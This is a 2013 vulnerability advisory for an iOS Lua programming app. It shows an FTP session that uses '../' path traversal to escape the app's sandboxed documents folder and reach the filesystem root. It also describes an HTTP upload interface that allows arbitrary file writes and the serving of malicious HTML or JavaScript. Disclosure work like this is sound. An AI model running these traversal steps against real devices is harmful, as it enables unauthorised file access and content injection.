Date: 8/1/2013
Author: Larry W. Cashdollar, @_larry0
Download:
Description: "Please download the "lua-programming language new". And do the following steps before using the app, you 'll give me a five-star praise ! ! http://sosilen.blog.163.com/blog/static/7727956620121029843220/
larry$ ftp 192.168.0.31 10000 Connected to 192.168.0.31. 220 iosFtp server ready. Name (192.168.0.31:larry): anyone 331 Password required for anyone Password: 230 User anyone logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> pwd Remote directory: /private/var/mobile/Applications/9004C5D8-8154-406A-8D04-CE1C035BF813/Documents/ftp * ftp> cd ../../../../ 250 CWD command successful. ftp> pwd Remote directory: /private/var/mobile ftp> cd / 250 CWD command successful. ftp> pwd Remote directory: / ftp>* You also get path disclosure.
http server listening on port 8080 allows arbitrary file writes to storage.
You can create directories out side the upload path through the file upload web interface and the .. bug. Because the application is sandbox I was unable to overwtite application executables and components so impact is limited. As stated above you can serve malicious content (javascript/html) via http.
After uploading hi.html through the web interface it's served off the http server:
larry$ curl http://192.168.0.15:8080/hi.html <html> Hello, This is an HTML page </html>
Vendor: Notified 8/1/2013, https://twitter.com/tayutec
Advisory: http://vapid.dhs.org/advisories/lua-ios-Huang-XiaoWen.html